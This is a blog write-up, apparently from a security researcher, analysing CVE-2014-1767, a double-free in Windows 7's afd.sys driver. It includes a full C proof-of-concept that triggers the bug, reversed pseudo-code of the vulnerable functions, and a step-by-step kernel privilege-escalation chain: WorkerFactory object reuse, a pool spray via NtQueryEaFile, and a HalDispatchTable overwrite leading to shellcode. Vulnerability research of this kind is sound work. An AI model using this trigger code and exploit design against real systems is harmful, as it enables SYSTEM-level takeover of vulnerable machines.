[EnglishVersion]CVE-2014-1767 Afd.sys double-free vulnerability Analysis and Exploit

Hint: for Chinese Version, Click Me
[0x00]. Introduction
First, I would like to present the reasons why I would focus on this vulnerability, (1) This afd.sys dangling pointer vulnerability was named as the best privilege escalation vulnerability in pwnie awards 2014. (2) The vul type was double-free, It woulb be very interesting. (3) So far, there’s no exp codes exposed, so it’s challenging and exciting to finish one exploit.. OK, now let’s go to our work, our experiment OS is Windows 7(6.1.7601) 32 bit.
[0x01]. Vulnerability Root cause analysis
A. poc overview
Our most important reference was the paper : http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf, from the description of paper, we can get our poc as follows:
=================================================
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, “WS2_32.lib”)
int main()
{
DWORD targetSize = 0×310 ;
DWORD virtualAddress = 0×13371337 ;
DWORD mdlSize=(0×4000*(targetSize-0×30)/8)-0xFFF-(virtualAddress& 0xFFF) ;
static DWORD inbuf1[100] ;
memset(inbuf1, 0, sizeof(inbuf1)) ;
inbuf1[6]  = virtualAddress ;
inbuf1[7]  = mdlSize ;
inbuf1[10] = 1 ;
static DWORD inbuf2[100] ;
memset(inbuf2, 0, sizeof(inbuf2)) ;
inbuf2[0] = 1 ;
inbuf2[1] = 0x0AAAAAAA ;
WSADATA      WSAData ;
SOCKET       s ;
sockaddr_in  sa ;
int          ierr ;
WSAStartup(0×2, &WSAData) ;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
memset(&sa, 0, sizeof(sa)) ;
sa.sin_port = htons(135) ;
sa.sin_addr.S_un.S_addr = inet_addr(“127.0.0.1″) ;
sa.sin_family = AF_INET ;
ierr = connect(s, (const struct sockaddr *)&sa, sizeof(sa)) ;
static char outBuf[100] ;
DWORD bytesRet ;
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0×30, outBuf, 0, &bytesRet, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0×18, outBuf, 0, &bytesRet, NULL);
return 0 ;
}
=================================================

With WinDbg, we got following crash information:

=================================================
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.
Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, (reserved)
Arg3: 08bd0002, Memory contents of the pool block
Arg4: 854b2a20, Address of the block of pool being deallocated
Debugging Details:
——————
POOL_ADDRESS:  854b2a20 Nonpaged pool
FREED_POOL_TAG:  Mdl
STACK_TEXT:
8d524a6083f6dc6b000000c2 00000007 00001097 nt!KeBugCheck2+0x68b
8d524ad8 83ed8ec2 854b2a20 00000000 8636d260 nt!ExFreePoolWithTag+0x1b1
8d524aec 88787eb0 854b2a20 00000000 8876a89f nt!IoFreeMdl+0×70
8d524b08 8876a8ac00000000 00000001 05244d85 afd!AfdReturnTpInfo+0xad
8d524b44 8876bbba 05244d2d 000120c3 8876ba8c afd!AfdTliGetTpInfo+0×89
8d524bec 887702bc 854a2db8 86472720 8d524c14 afd!AfdTransmitPackets+0x12e
8d524bfc 83e83593 864727208540f5508540f550 afd!AfdDispatchDeviceControl+0x3b
=================================================
We can get the IoControl Code from stack:
kd> dd 8d524d04
8d524d04  8d524d34 83e8a1ea 00000050 00000000
8d524d14  00000000 00000000 001cf984 000120c3

========================================

It is Io Control Code 0x120C3 which trigger the system crash, and the problem was double-free, and the object is MDL object. From the call stack, we know AfdTransmitPackets will be our main job, but we must finish analyzing function AfdTransmitFile first, because 0x120C3 was the second Device Io Control call, the first IoControlCall Code was 0x1207F, and in this call we reach AfdTransmitFile, and we will see this was just the first FREE happened ! So, We will Analyze from function AfdTransmitFile.
B. Analysis of First IO CONTROL CALL
a. Analysis of AfdTransmitFile
AfdTransmitFile have two arguments, arg1=pIrp, arg2=pIoStackLocation, function can access user input by arg2. We have set some special value in inbuf1 in POC. We guess these values was used to control the execution flow., after reversing and debugging, we found the following ‘if’
Conditions would be TRUE, and we will reach the invoking to function AfdGetTpInfo.

============================

AfdTransmitFile(pIrp, pIoStack):
inputBufferLen >= 0×30
inputBuffer & 0×3 == 0
inputBuffer < 0x7fff0000
memcpy(tempBuf, userBuf, 0×30) ;
if(*(DWORD*)tempBuf+0×28) & 0xFFFFFFC8 == 0)
if(*(DWORD*)tempBuf+0×28) & != 0×30)
if(*(DWORD*)tempBuf+0×28) & 0×30 == 0)
tpInfo = AfdGetTpInfo ( 3 )  // if we satisfiy all the cnoditions above, we’ll reach the call to AfdGetTpInfo

=============================

b. Analysis of AfdTliGetTpInfo
The code above shows if our inputbuf1 satisfied those conditions, we will reach a call to AfdTliGetTpInfo, this function generally return one pointer to TpInfo structure, but what’s a TpInfo structure ? By reversing some functions (AfdTliGetTpInfo, AfdReturnTpInfo, AfdAlocateTpInfo, AfdnitializeTpInfo) and debugging, we got the following definition:
========================
struct TpInfo {

TpElement  *pElemArray ;  // +0×20, pointer to TpElement Array

ULONG       elemCount  ;  // +0×28, element number in pElemArray Array

BYTE        isOuterMem ;  // +0×32, whether pElemArray stores outside TpInfo

}
struct TpElement {
int   flag ;              // +0×00
ULONG length ;            // +0×04
PVOID virtualAddress ;    // +0×08
PMDL  pMdl ;              // +0x0C
ULONG reserved1 ;
ULONG reserved2 ;
} ;

===============================

AfdTliGetTpInfo function in IDA:
The figure shows the C like code to AfdTliGetTpInfo, this function would get one TpInfo structure fromLookaside list, for ExAllocateFromNpagedLookasideList, we get its key flow reversing code:
======================
TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside)
{
*(Lookaside+0x0C) ++ ;
tpInfo = InterlockedPopEntrySList( Lookaside )
if( tpInfo == NULL)
{
*(Lookaside+0×10)++;
tpInfo = AfdAllocateTpInfo(NonPagedPool,0×108 ,0xc6646641) ;
}
return  tpInfo
}

=======================

For AfdAllocateTpInfo, its C like reversing code is here:
============================
TpInfo * AfdAllocateTpInfo(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag)
{
   p = ExAllocatePoolWithTagPriority(NonPagedPool, 0×108 ,0xc6646641) ;
   AfdInitializeTpInfo(p, 3, 3, 1) ;
}
============================
And for AfdInitializeTpInfo, it simply initializes one TpInfo structure, following code shows the initialized value of some structure member we are interested.
 ========================
AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
    ….
    tpInfo->pElemArray = tpInfo+0×90
    tpInfo->elemCount  = 0
    tpInfo->isOuterMem = false
    ….
}
=========================
After debugging and tracing we found , the execution flow will be : ExAllocateFromNPagedLookasideList->AfdAlloceteTpInfo,AfdInitializeTpInfo, and after all these function executed, we got one TpInfo structure which is 0×108 bytes and has its pElementArray initialized as tpInfo+0×90, elemCount as 0, and isOuterMem as 0, for member isOuterMem, we say if the element number in pElemArray greater than 3, than we store the elements out of the tpInfo structure, we will allocate another buffer to store them, and we will set isOuterMem to 1.
Now let’s back our mind to function AfdTransmitFile, we have just get one tpInfo structure by AfdGetTliTpInfo, and what to do next ?
After we pass the if conditions, we will call IoAllocateMdl to Allocate one MDL object, and the arguments used to allocate MDL are from our inbuf1 ! this is exciting ! user buf control MDL’s virtualAddress and length !, next When we get the MDL pointer, we will try to lock the pages it described by MmProbeAndLockPages ! but , unfortunately , since the virtual address space we supplied is invalid ! (0×13371337~0×13371337+length) , we’ll get an exception ! and we will flow to the exception handler ! In the exception Handler , we will call function AfdReturnTpInfo !
This is our vul function, it’s so important that I nearly reversed all its asm code to C code , following is the result :
===========================
for(int i = 0 ; i < *(tpInfo+0×28) ; i++)
{
    PTPELEMENT tpElemArray = *(DWORD*)(tpInfo + 0×20) ;
    PTPELEMENT tpElement = tpElemArray + i*0×18 ;
    if(*(tpElement) & 0×02 == 0)
    {
        if(*(tpElement) < 0)
        {
            PMDL pMdl = *(DWORD*)(tpElement+0x0C) ;
            if(pMdl != NULL)
            {
                if(pMdl->MdlFlags & 0×02)
                {
                    MmUnlockPages(pMdl) ;
                }
                // we free MDL
                // dangling Pointer here !
                IoFreeMdl(pMdl) ;
            }
        }
    }
}
 
if(*(BYTE*)(tpInfo+0×32) != 0)
{
    ExFreePoolWithTag(*(DWORD*)(tpInfp+0×20), 0C6646641h) ;
   *(BYTE*)(tpInfo+0×32) = 0 ;
}
 
if(arg2) // in our debugging , arg2=1
{
  // push TpInfo in lookaside list
  ExFreeToNPagedLookasideList(AfdGlobalData+0×178, tpInfo) ; }
else
{
   AfdFreeTpInfo(tpInfo) ; // ExFreePoolWithTag
}
===========================
In this function, we see, it simply enumerate all the elements in pElemArray, elementCount indicates the total elements in the array , it try to free the MDL object if the element stores one. The problem is it didn’n clear the pMdl pointer ! and it didn’t clear elemCount in TpInfo !, that means, if you have the ability to call this function AfdReturnTpInfo once again with this tpInfo, all the obsolete value will be treated available ! then, Double-free bug occurs !
Sounds exciting, we found the bug and know how to design it, but how can we call AfdReturnTpInfo once again with the TpInfo in the lookaside list. Note, in AfdReturnTpInfo it put the TpInfo pointer to lookaside list. So let’s see what the poc code do.

 

C: The second Device io control CALL analysis
a.    AfdTransmitPackets
The second call, Io control code is 0x120C3, and the AfdTransmitPackets will be invoked, the function’s pseudo code is like this:
====================================
 __fastcall AfdTransmitPackets(PIRP Irp, PIO_STACK_LOCATION IoStack)
{
    IoStack->InputBufferLength >= 0×10
    IoStack->Type3InputBuffer & 3 == 0
    IoStack->Type3InputBuffer < 0x7fff0000
    memcpy(tempBuf, IoStack->Type3InputBuffer, 0×10);
    *(DWORD*)(tempBuf+0x0C) & 0xFFFFFFF8 == 0
    *(DWORD*)(tempBuf+0x0C) & 0×30 != 0×30
    *(DWORD*)(tempBuf) != 0
    *(DWORD*)(tempBuf+4) != 0
    *(DWORD*)(tempBuf+4) <= 0x0AAAAAAA
    // if we satisfy all the above conditions, we arrive here
    // user controled argument for AfdTliGetIpInfo !
    AfdTliGetTpInfo( *(DWORD*)(tempBuf+4) )
}
=====================================
We have set inbuf2 : *(inbuf2) =1, *(inbuf+4)=0x0AAAAAAA, with these values we can reach the call to AfdTliGetTpInfo and the argument will be 0x0AAAAAAA which we specified. We have analzed the function AfdTliGetTpInfo, so we know it will pop one tpInfo structure from the lookaside list if the list is not empty ! Of course its not empty we just push one in ! so , the tpInfo structure we get from the list is just the first one with obsolete values inside it. And then in AfdGetTliTpInfo we reached the if condition because of 0x0AAAAAA>3, so we will call ExAllocatePool, but the allocation size is 0×18*0x0AAAAAAA == 0xFFFFFFF0 bytes ! that’s such big size in 32 bit os that we got a exception again ! This time in this exception handler we arrived AfdReturnTpInfo again ! So , that fits our plan, Obsolete TpInfo called by AfdReturnTpInfo, then double free bug occur !

 

D. root cause summary
[1] first device io control will call AfdTransmitFile, in this function we will get one TpInfo structure by calling AfdTliGetTpInfo, and we will allocate one MDL object using user supplied virtual address and length, and fill the MDL address to TpInfo, next when we try to lock pages by calling MmProbeAndLockPages we got an exception because we give the mdl invalid address range !, in exception handler , programme call AfdReturnTpInfo simply free mdl and push TpInfo in the list, the bug is all obsolete values include elemCount and pMdl is still in the strcture and not cleared !
[2]second io control call AfdTransmitPackets internally, this function will simply call AfdGetTpInfo with our user data as its parameter, we set it to 0x0AAAAAAA, when executing AfdGetTpInfo, the TpInfo used in [1] is poped and used, but next we will got an exception when try to allocate large memory, and the exception handler will call AfdReturnTpInfo, in AfdReturnTpInfo, the obsolete values are treated as available, so double-free bug occus !

 

[0x02]. Double-free Vulnerability exploit

 

a.    general steps:(from the PDF paper)
[1]. Invoke DeviceIoControl with IoControlCode = 0x1207F, free MDL Object
[2]. Create one kernel object X to occupy the freed space
[3] . Invoke DeviceIoControl with IoControlCode = 0x120C3, and now because double-free bug we’ll free the object X we just created
[4]. Occupy the freed object X space with our controlled data (double free to use after free)
[5]. Try to invoke one function which can operate on the Object X, and the function have the ability to finish one ‘any dword write to any address’, consider in [4] we have controlled the object fileds, so this can be possible, all needed is the function have some internal statements to use our object content as address !  if we find such object with this perfect function, we will try to hijack HalDispatchTable
[6] in user mode  trigger HalDispatchTable function invoked, than we can flow to kernel mode shellcode

 

b.    What’s the Object X ?
Object X is used as use-after-free object, there are two restrictions here:
(1)    the allocated size should be equal as the freed MDL size
(2)    the object must have some functions which we can internally finish one ‘anywhere write anything’
for (1), we don’t need to worry, because we can control the freed MDL size !, as mentioned above , AfdTransmitFile allocate MDL using our supplied virtual address and length. So we can control MDL size. More detail:
pages = ((Length & 0xFFF)  + (VirtualAddress & 0xFFF) + 0xFFF)>>12  +  (length>>12)
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C
for (2), it’s tricky and hard to find such perfect function, we reference the PDF paper and found ‘WorkerFactory’ Object. We can create WorkerFactory object by NtCreateWorkerFactory. And the perfect function is NtSetInformationWorkerFactory, let’s have a look at its code:

We find there’s one assignment statement inside, and after analysis the control flow would reach here when (arg2==8 && *arg3!=0),  we can set *arg3 = ShellCode, *(*object+0×10)+0x1C = &HalDispatchTable[1], then we can wirte our shellcode address to HalDispatchTable !

 

C. How can we occupy the freed WorkerFactory object using our controlled data ?
The user mode function VirtualAlloc have no ability to allocate kernel non-paged pool memory for us, so the solution is like the idea of NtSetInformationWorkerFactory, we should find one Nt* kernel function, and it has the ability to allocate kernel memory and can copy our user data to the allocated pool !, with the hint in PDF, we focus on the function NtQueryEaFile:

Inside this function ,it will simply call:
p = ExAllocatePoolWithQuotaTag(NonPagedPool,  EaLength, 0x20206F49)
memcpy(p, EaList)
EaLength and Ealist is user controlled !, This function is perfect for us, it can allocate nonpaged pool memory and copy our data to that buffer. Although it will free this pool before it exit, the pool has only its first several bytes corrupted. And there’s one problem we should notice, here we use ExAllocatePoolWithQuotaTag rather than ExAllocatePoolWithTag, they are different in allocation size, ExAllocatePoolWithQuotaTag internally call ExAllocatePoolWithTag(PoolType, length+4, tag). So, if we would like to occupy the corrupted object successfully, we need specify EaLength=ObjSize-4.

 

c.    what’s the allocation size of WorkerFactory Object ?
Only by identifying this can we do a serie of occupy-free , to find this you should trace and debug the following functions: NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->ExAllocatePoolWithTag.
And in our environment this allocation size is 0xA0 bytes with 0×28 bytes additional information wrapped the object body. In the first 0×28 bytes, there contains object header information, we should set valid data here in case the fail when invoking ObReferenceObjectByHandle in NtSetInformationWorkerFactory.

 

d.    exploit flow design, su system successfully !
[1]. Invoking DeviceIoControl with code 0x1207F, by design the input virtual Address and length, we let kernel allocate the MDL object in size 0xA0, and finally kernel will free it..
[2] NtCreateWorkerFactory create new WorkerFactory object, because of the size, this object will occupy the freed memory space in [1]
[3] Invoking DeviceIoControl with code 0x120C3, by design the input , we can lead the control flow to an double free bug, and this will simply free the memory our new WorkerFactory Object just occupied !
[4] NtQueryEaFile, this will set controlled data (fake object) to the memory just freed in [3]
[5] NtSetInformationWorkerFactory operates on the fake object and internally it will cause a HalDispatchTable write, we change the DWORD at HalDispatchTable+4 to ShellCode address.
[6] trigger from user mode by call NtQueryIntervalProfile

 

e.    Say no to BSOD, hack HandleTableEntry
We found although we can get system command shell, when we close the exp exe programme, the system will got blue screen ! It’s easy to understand the root cause, beeause we have destroy the WorkerFactory object , but system isn’t aware of this, when the exe process exit, it will free all handle resources and we would got invalid memory access exception.

===============

93da9b74 83e8d3d8 00000000 bad0b124 00000000 nt!MmAccessFault+0×106
93da9b74 8409210f 00000000 bad0b124 00000000 nt!KiTrap0E+0xdc
93da9c38 840c0ba9 890d33b0 95e7c288 853f4030 nt!ObpCloseHandleTableEntry+0×28
93da9c68 840a8f86 890d33b0 93da9c7c 890012c8 nt!ExSweepHandleTable+0x5f
93da9c88 840b6666 bee06ad8 00000000 853f36a0 nt!ObKillProcess+0×54
93da9cfc 840a8bb9 00000000 ffffffff 002dfa38 nt!PspExitThread+0x5db
93da9d24 83e8a1ea ffffffff 00000000 002dfa44 nt!NtTerminateProcess+0x1fa

=================

We found the solution in ExSweepHandleTable:

======================

Handle = 4
while(ObjectTable->HandleCount)
{
HandleTableEntry = ExpLookupHandleTableEntry(ObjectTable, Handle) ;
if(*((DWORD*)(HandleTableEntry) & 1)
{
ObpCloseHandleTableEntry(…) ;
}
Handle += 4
}
======================
As you see, ExSweepHandleTable will enumerate every handle’s handleTableEntry and the ‘if’ condition will check the first DWORD in HandleTableEntry, our solution is to set this filed to NULL, than we can bypass the free flow to the specific Handle !
The releationship between Handle and HandleTableEntry is like this, we got this by reversing ExpLookupHandleTableEntry.
HandleTableEntry = *(DWORD*)ObjectTable + 2*(Handle & 0xFFFFFFC0)

 

[0x03] Last
For win 7 x64, structure offset needed modified, and you should use CreateRoundRectRgn to eat kenel memory.
For Windows 8, which expoit would be more challenging , please reference the PDF
NtSetInformationWrokerFactory and NtQueryEaFile are all treasure !

 

BY : 0x710DDDD

2014-11-19

afd_1767_Exp

 

咦?还没有评论,抢沙发!

发表评论

带 * 的是必填项目,电子邮件地址不会被公开。
文字的交流也是情感的交流,技能的交流也是学术的交流。

Are you human? Click the Grapes...